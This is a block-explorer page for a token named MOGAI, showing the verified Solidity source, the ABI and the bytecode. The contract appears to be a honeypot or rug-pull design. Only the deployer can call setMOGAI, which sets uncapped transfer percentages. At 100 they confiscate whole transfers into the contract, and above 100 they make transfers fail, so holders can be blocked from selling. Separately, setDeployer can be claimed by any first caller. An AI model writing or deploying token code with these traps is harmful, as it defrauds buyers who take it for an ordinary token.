ETH Price: $2,212.92 (-0.76%)

Token

MOGAI (MOGAI)
 

Overview

Max Total Supply

100,000,000 MOGAI

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
14,947.475504468797222606 MOGAI

Value
$0.00
0x6fcf272ba0f34395f4566c6c852da53a04e15114
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOGAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-07-16
*/

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.20;

contract MOGAI {
    string public constant name = "MOGAI";
    string public constant symbol = "MOGAI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000 * 10**decimals;

    uint256 public BurnAmount;
    uint256 public ConfirmAmount;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event DeployerSet(address indexed deployer);

    address private pair;
    address public deployer;
    bool public deployerSet = false;

    bool private tradingOpen;

    constructor() {
        // Initially, no tokens are assigned until deployer is set.
    }

    receive() external payable {}

    function setDeployer(address _deployer) external {
        require(!deployerSet, "Deployer can only be set once.");
        deployer = _deployer;
        deployerSet = true;
        balanceOf[_deployer] = totalSupply;
        emit Transfer(address(0), _deployer, totalSupply);
        emit DeployerSet(_deployer);
    }

    function approve(address spender, uint256 amount) external returns (bool){
        require(deployerSet, "Deployer must be set first.");
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool){
        require(deployerSet, "Deployer must be set first.");
        return _transfer(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool){
        require(deployerSet, "Deployer must be set first.");
        allowance[from][msg.sender] -= amount;        
        return _transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool){
        require(tradingOpen || from == deployer || to == deployer);

        if(!tradingOpen && pair == address(0) && amount > 0)
            pair = to;

        balanceOf[from] -= amount;

        if(from != address(this)){
            uint256 FinalAmount = amount * (from == pair ? BurnAmount : ConfirmAmount) / 100;
            amount -= FinalAmount;
            balanceOf[address(this)] += FinalAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function openTrading() external {
        require(msg.sender == deployer, "Only deployer can open trading.");
        require(!tradingOpen, "Trading is already open.");
        tradingOpen = true;        
    }

    function setMOGAI(uint256 newBurn, uint256 newConfirm) external {
        require(msg.sender == deployer, "Only deployer can set WEN.");
        BurnAmount = newBurn;
        ConfirmAmount = newConfirm;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"deployer","type":"address"}],"name":"DeployerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BurnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ConfirmAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployerSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_deployer","type":"address"}],"name":"setDeployer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBurn","type":"uint256"},{"internalType":"uint256","name":"newConfirm","type":"uint256"}],"name":"setMOGAI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600560146101000a81548160ff021916908315150217905550348015610029575f80fd5b506116a4806100375f395ff3fe6080604052600436106100f6575f3560e01c806395d89b4111610089578063cbdc89ac11610058578063cbdc89ac14610329578063d5f3948814610353578063dd62ed3e1461037d578063ffcdc6e8146103b9576100fd565b806395d89b411461028557806396214735146102af578063a9059cbb146102d7578063c9567bf914610313576100fd565b8063313ce567116100c5578063313ce567146101cd5780635dc9e403146101f757806370a082311461021f578063878d9c2e1461025b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e3565b6040516101229190610f1f565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c9190610fd0565b61041c565b60405161015e9190611028565b60405180910390f35b348015610172575f80fd5b5061017b610558565b6040516101889190611050565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611069565b610578565b6040516101c49190611028565b60405180910390f35b3480156101d8575f80fd5b506101e161066a565b6040516101ee91906110d4565b60405180910390f35b348015610202575f80fd5b5061021d600480360381019061021891906110ed565b61066f565b005b34801561022a575f80fd5b506102456004803603810190610240919061112b565b61070f565b6040516102529190611050565b60405180910390f35b348015610266575f80fd5b5061026f610724565b60405161027c9190611028565b60405180910390f35b348015610290575f80fd5b50610299610737565b6040516102a69190610f1f565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d0919061112b565b610770565b005b3480156102e2575f80fd5b506102fd60048036038101906102f89190610fd0565b610940565b60405161030a9190611028565b60405180910390f35b34801561031e575f80fd5b506103276109a3565b005b348015610334575f80fd5b5061033d610a9f565b60405161034a9190611050565b60405180910390f35b34801561035e575f80fd5b50610367610aa5565b6040516103749190611165565b60405180910390f35b348015610388575f80fd5b506103a3600480360381019061039e919061117e565b610aca565b6040516103b09190611050565b60405180910390f35b3480156103c4575f80fd5b506103cd610aea565b6040516103da9190611050565b60405180910390f35b6040518060400160405280600581526020017f4d4f47414900000000000000000000000000000000000000000000000000000081525081565b5f600560149054906101000a900460ff1661046c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046390611206565b60405180910390fd5b8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105469190611050565b60405180910390a36001905092915050565b6012600a6105669190611380565b6305f5e10061057591906113ca565b81565b5f600560149054906101000a900460ff166105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611206565b60405180910390fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461064f919061140b565b92505081905550610661848484610aef565b90509392505050565b601281565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f590611488565b60405180910390fd5b815f81905550806001819055505050565b6002602052805f5260405f205f915090505481565b600560149054906101000a900460ff1681565b6040518060400160405280600581526020017f4d4f47414900000000000000000000000000000000000000000000000000000081525081565b600560149054906101000a900460ff16156107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b7906114f0565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560146101000a81548160ff0219169083151502179055506012600a6108299190611380565b6305f5e10061083891906113ca565b60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6108d69190611380565b6305f5e1006108e591906113ca565b6040516108f29190611050565b60405180910390a38073ffffffffffffffffffffffffffffffffffffffff167fb3aeb43a1257df8782f2b4a1e24e054eebef0ecb13c22fea8a16078ca40a4fd960405160405180910390a250565b5f600560149054906101000a900460ff16610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790611206565b60405180910390fd5b61099b338484610aef565b905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2990611558565b60405180910390fd5b600560159054906101000a900460ff1615610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906115c0565b60405180910390fd5b6001600560156101000a81548160ff021916908315150217905550565b60015481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b5f5481565b5f600560159054906101000a900460ff1680610b57575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610bae575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610bb6575f80fd5b600560159054906101000a900460ff16158015610c1f57505f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610c2a57505f82115b15610c70578260045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cbc919061140b565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610dd2575f606460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610d5557600154610d58565b5f545b84610d6391906113ca565b610d6d919061160b565b90508083610d7b919061140b565b92508060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc9919061163b565b92505081905550505b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e1e919061163b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e829190611050565b60405180910390a3600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ecc578082015181840152602081019050610eb1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ef182610e95565b610efb8185610e9f565b9350610f0b818560208601610eaf565b610f1481610ed7565b840191505092915050565b5f6020820190508181035f830152610f378184610ee7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f6c82610f43565b9050919050565b610f7c81610f62565b8114610f86575f80fd5b50565b5f81359050610f9781610f73565b92915050565b5f819050919050565b610faf81610f9d565b8114610fb9575f80fd5b50565b5f81359050610fca81610fa6565b92915050565b5f8060408385031215610fe657610fe5610f3f565b5b5f610ff385828601610f89565b925050602061100485828601610fbc565b9150509250929050565b5f8115159050919050565b6110228161100e565b82525050565b5f60208201905061103b5f830184611019565b92915050565b61104a81610f9d565b82525050565b5f6020820190506110635f830184611041565b92915050565b5f805f606084860312156110805761107f610f3f565b5b5f61108d86828701610f89565b935050602061109e86828701610f89565b92505060406110af86828701610fbc565b9150509250925092565b5f60ff82169050919050565b6110ce816110b9565b82525050565b5f6020820190506110e75f8301846110c5565b92915050565b5f806040838503121561110357611102610f3f565b5b5f61111085828601610fbc565b925050602061112185828601610fbc565b9150509250929050565b5f602082840312156111405761113f610f3f565b5b5f61114d84828501610f89565b91505092915050565b61115f81610f62565b82525050565b5f6020820190506111785f830184611156565b92915050565b5f806040838503121561119457611193610f3f565b5b5f6111a185828601610f89565b92505060206111b285828601610f89565b9150509250929050565b7f4465706c6f796572206d757374206265207365742066697273742e00000000005f82015250565b5f6111f0601b83610e9f565b91506111fb826111bc565b602082019050919050565b5f6020820190508181035f83015261121d816111e4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156112a65780860481111561128257611281611224565b5b60018516156112915780820291505b808102905061129f85611251565b9450611266565b94509492505050565b5f826112be5760019050611379565b816112cb575f9050611379565b81600181146112e157600281146112eb5761131a565b6001915050611379565b60ff8411156112fd576112fc611224565b5b8360020a91508482111561131457611313611224565b5b50611379565b5060208310610133831016604e8410600b841016171561134f5782820a90508381111561134a57611349611224565b5b611379565b61135c848484600161125d565b9250905081840481111561137357611372611224565b5b81810290505b9392505050565b5f61138a82610f9d565b9150611395836110b9565b92506113c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846112af565b905092915050565b5f6113d482610f9d565b91506113df83610f9d565b92508282026113ed81610f9d565b9150828204841483151761140457611403611224565b5b5092915050565b5f61141582610f9d565b915061142083610f9d565b925082820390508181111561143857611437611224565b5b92915050565b7f4f6e6c79206465706c6f7965722063616e207365742057454e2e0000000000005f82015250565b5f611472601a83610e9f565b915061147d8261143e565b602082019050919050565b5f6020820190508181035f83015261149f81611466565b9050919050565b7f4465706c6f7965722063616e206f6e6c7920626520736574206f6e63652e00005f82015250565b5f6114da601e83610e9f565b91506114e5826114a6565b602082019050919050565b5f6020820190508181035f830152611507816114ce565b9050919050565b7f4f6e6c79206465706c6f7965722063616e206f70656e2074726164696e672e005f82015250565b5f611542601f83610e9f565b915061154d8261150e565b602082019050919050565b5f6020820190508181035f83015261156f81611536565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e2e00000000000000005f82015250565b5f6115aa601883610e9f565b91506115b582611576565b602082019050919050565b5f6020820190508181035f8301526115d78161159e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61161582610f9d565b915061162083610f9d565b9250826116305761162f6115de565b5b828204905092915050565b5f61164582610f9d565b915061165083610f9d565b925082820190508082111561166857611667611224565b5b9291505056fea264697066735822122019189b2bb277dc9ae5f0ffc8873818c7d38cbc990fc445ee744ec4f23f24969464736f6c63430008140033

Deployed Bytecode

0x6080604052600436106100f6575f3560e01c806395d89b4111610089578063cbdc89ac11610058578063cbdc89ac14610329578063d5f3948814610353578063dd62ed3e1461037d578063ffcdc6e8146103b9576100fd565b806395d89b411461028557806396214735146102af578063a9059cbb146102d7578063c9567bf914610313576100fd565b8063313ce567116100c5578063313ce567146101cd5780635dc9e403146101f757806370a082311461021f578063878d9c2e1461025b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e3565b6040516101229190610f1f565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c9190610fd0565b61041c565b60405161015e9190611028565b60405180910390f35b348015610172575f80fd5b5061017b610558565b6040516101889190611050565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611069565b610578565b6040516101c49190611028565b60405180910390f35b3480156101d8575f80fd5b506101e161066a565b6040516101ee91906110d4565b60405180910390f35b348015610202575f80fd5b5061021d600480360381019061021891906110ed565b61066f565b005b34801561022a575f80fd5b506102456004803603810190610240919061112b565b61070f565b6040516102529190611050565b60405180910390f35b348015610266575f80fd5b5061026f610724565b60405161027c9190611028565b60405180910390f35b348015610290575f80fd5b50610299610737565b6040516102a69190610f1f565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d0919061112b565b610770565b005b3480156102e2575f80fd5b506102fd60048036038101906102f89190610fd0565b610940565b60405161030a9190611028565b60405180910390f35b34801561031e575f80fd5b506103276109a3565b005b348015610334575f80fd5b5061033d610a9f565b60405161034a9190611050565b60405180910390f35b34801561035e575f80fd5b50610367610aa5565b6040516103749190611165565b60405180910390f35b348015610388575f80fd5b506103a3600480360381019061039e919061117e565b610aca565b6040516103b09190611050565b60405180910390f35b3480156103c4575f80fd5b506103cd610aea565b6040516103da9190611050565b60405180910390f35b6040518060400160405280600581526020017f4d4f47414900000000000000000000000000000000000000000000000000000081525081565b5f600560149054906101000a900460ff1661046c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046390611206565b60405180910390fd5b8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105469190611050565b60405180910390a36001905092915050565b6012600a6105669190611380565b6305f5e10061057591906113ca565b81565b5f600560149054906101000a900460ff166105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611206565b60405180910390fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461064f919061140b565b92505081905550610661848484610aef565b90509392505050565b601281565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f590611488565b60405180910390fd5b815f81905550806001819055505050565b6002602052805f5260405f205f915090505481565b600560149054906101000a900460ff1681565b6040518060400160405280600581526020017f4d4f47414900000000000000000000000000000000000000000000000000000081525081565b600560149054906101000a900460ff16156107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b7906114f0565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560146101000a81548160ff0219169083151502179055506012600a6108299190611380565b6305f5e10061083891906113ca565b60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6108d69190611380565b6305f5e1006108e591906113ca565b6040516108f29190611050565b60405180910390a38073ffffffffffffffffffffffffffffffffffffffff167fb3aeb43a1257df8782f2b4a1e24e054eebef0ecb13c22fea8a16078ca40a4fd960405160405180910390a250565b5f600560149054906101000a900460ff16610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790611206565b60405180910390fd5b61099b338484610aef565b905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2990611558565b60405180910390fd5b600560159054906101000a900460ff1615610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906115c0565b60405180910390fd5b6001600560156101000a81548160ff021916908315150217905550565b60015481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b5f5481565b5f600560159054906101000a900460ff1680610b57575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610bae575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610bb6575f80fd5b600560159054906101000a900460ff16158015610c1f57505f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610c2a57505f82115b15610c70578260045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cbc919061140b565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610dd2575f606460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610d5557600154610d58565b5f545b84610d6391906113ca565b610d6d919061160b565b90508083610d7b919061140b565b92508060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc9919061163b565b92505081905550505b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e1e919061163b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e829190611050565b60405180910390a3600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ecc578082015181840152602081019050610eb1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ef182610e95565b610efb8185610e9f565b9350610f0b818560208601610eaf565b610f1481610ed7565b840191505092915050565b5f6020820190508181035f830152610f378184610ee7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f6c82610f43565b9050919050565b610f7c81610f62565b8114610f86575f80fd5b50565b5f81359050610f9781610f73565b92915050565b5f819050919050565b610faf81610f9d565b8114610fb9575f80fd5b50565b5f81359050610fca81610fa6565b92915050565b5f8060408385031215610fe657610fe5610f3f565b5b5f610ff385828601610f89565b925050602061100485828601610fbc565b9150509250929050565b5f8115159050919050565b6110228161100e565b82525050565b5f60208201905061103b5f830184611019565b92915050565b61104a81610f9d565b82525050565b5f6020820190506110635f830184611041565b92915050565b5f805f606084860312156110805761107f610f3f565b5b5f61108d86828701610f89565b935050602061109e86828701610f89565b92505060406110af86828701610fbc565b9150509250925092565b5f60ff82169050919050565b6110ce816110b9565b82525050565b5f6020820190506110e75f8301846110c5565b92915050565b5f806040838503121561110357611102610f3f565b5b5f61111085828601610fbc565b925050602061112185828601610fbc565b9150509250929050565b5f602082840312156111405761113f610f3f565b5b5f61114d84828501610f89565b91505092915050565b61115f81610f62565b82525050565b5f6020820190506111785f830184611156565b92915050565b5f806040838503121561119457611193610f3f565b5b5f6111a185828601610f89565b92505060206111b285828601610f89565b9150509250929050565b7f4465706c6f796572206d757374206265207365742066697273742e00000000005f82015250565b5f6111f0601b83610e9f565b91506111fb826111bc565b602082019050919050565b5f6020820190508181035f83015261121d816111e4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156112a65780860481111561128257611281611224565b5b60018516156112915780820291505b808102905061129f85611251565b9450611266565b94509492505050565b5f826112be5760019050611379565b816112cb575f9050611379565b81600181146112e157600281146112eb5761131a565b6001915050611379565b60ff8411156112fd576112fc611224565b5b8360020a91508482111561131457611313611224565b5b50611379565b5060208310610133831016604e8410600b841016171561134f5782820a90508381111561134a57611349611224565b5b611379565b61135c848484600161125d565b9250905081840481111561137357611372611224565b5b81810290505b9392505050565b5f61138a82610f9d565b9150611395836110b9565b92506113c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846112af565b905092915050565b5f6113d482610f9d565b91506113df83610f9d565b92508282026113ed81610f9d565b9150828204841483151761140457611403611224565b5b5092915050565b5f61141582610f9d565b915061142083610f9d565b925082820390508181111561143857611437611224565b5b92915050565b7f4f6e6c79206465706c6f7965722063616e207365742057454e2e0000000000005f82015250565b5f611472601a83610e9f565b915061147d8261143e565b602082019050919050565b5f6020820190508181035f83015261149f81611466565b9050919050565b7f4465706c6f7965722063616e206f6e6c7920626520736574206f6e63652e00005f82015250565b5f6114da601e83610e9f565b91506114e5826114a6565b602082019050919050565b5f6020820190508181035f830152611507816114ce565b9050919050565b7f4f6e6c79206465706c6f7965722063616e206f70656e2074726164696e672e005f82015250565b5f611542601f83610e9f565b915061154d8261150e565b602082019050919050565b5f6020820190508181035f83015261156f81611536565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e2e00000000000000005f82015250565b5f6115aa601883610e9f565b91506115b582611576565b602082019050919050565b5f6020820190508181035f8301526115d78161159e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61161582610f9d565b915061162083610f9d565b9250826116305761162f6115de565b5b828204905092915050565b5f61164582610f9d565b915061165083610f9d565b925082820190508082111561166857611667611224565b5b9291505056fea264697066735822122019189b2bb277dc9ae5f0ffc8873818c7d38cbc990fc445ee744ec4f23f24969464736f6c63430008140033

Deployed Bytecode Sourcemap

67:3045:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;89:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1308:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;221:64;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1782:258;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;179:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2897:212;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;363:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;765:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;133:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;974:326;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1584:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2675:214;;;;;;;;;;;;;:::i;:::-;;326:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;735:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;415:66;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;294:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;89:37;;;;;;;;;;;;;;;;;;;:::o;1308:268::-;1376:4;1400:11;;;;;;;;;;;1392:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;1487:6;1454:9;:21;1464:10;1454:21;;;;;;;;